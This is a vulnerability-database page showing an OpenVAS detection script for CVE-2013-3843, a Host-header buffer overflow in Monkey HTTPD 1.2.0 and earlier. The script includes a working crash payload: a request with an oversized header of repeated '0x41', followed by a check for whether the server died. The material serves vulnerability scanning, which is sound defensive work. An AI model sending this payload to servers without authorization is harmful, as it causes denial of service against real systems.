Lucene search

K
openvasCopyright (C) 2013 Greenbone AGOPENVAS:1361412562310803711
HistoryJun 05, 2013 - 12:00 a.m.

Monkey HTTPD Host Header Buffer Overflow Vulnerability

2013-06-0500:00:00
Copyright (C) 2013 Greenbone AG
plugins.openvas.org
15

6.9 Medium

AI Score

Confidence

Low

0.359 Low

EPSS

Percentile

97.1%

Monkey HTTPD is prone to a buffer overflow vulnerability.

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803711");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2013-3843");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2013-06-05 11:55:02 +0530 (Wed, 05 Jun 2013)");
  script_name("Monkey HTTPD Host Header Buffer Overflow Vulnerability");

  script_xref(name:"URL", value:"http://pastebin.com/7b0ZKNtm");
  script_xref(name:"URL", value:"http://bugs.monkey-project.com/ticket/182");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/monkey-120-buffer-overflow");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Buffer overflow");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 2001);
  script_mandatory_keys("Monkey/banner");

  script_tag(name:"impact", value:"Successful exploitation will let remote unauthenticated attackers
  to cause a denial of service or execute arbitrary code.");

  script_tag(name:"affected", value:"Monkey HTTPD version 1.2.0 and prior.");

  script_tag(name:"insight", value:"The flaw is due to an error when handling certain Long requests
  sent via 'Host' field, which can be exploited to cause a denial of service or remote code execution.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of
  this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release,
  disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"Monkey HTTPD is prone to a buffer overflow vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default:2001);

banner = http_get_remote_headers(port:port);
if(http_is_dead(port:port)) exit(0);
if("Server: Monkey" >!< banner){
  exit(0);
}

req = string("GET / HTTP/1.1\r\n",
             "Host: \r\n",
             "Bad: ",  crap(data:"0x41", length:2511), "\r\n\r\n");

res = http_send_recv(port:port, data:req);

req = http_get(item:"/",  port:port);
res = http_keepalive_send_recv(port:port, data:req);

if(!res && http_is_dead(port:port))
{
  security_message(port:port);
  exit(0);
}

exit(99);

6.9 Medium

AI Score

Confidence

Low

0.359 Low

EPSS

Percentile

97.1%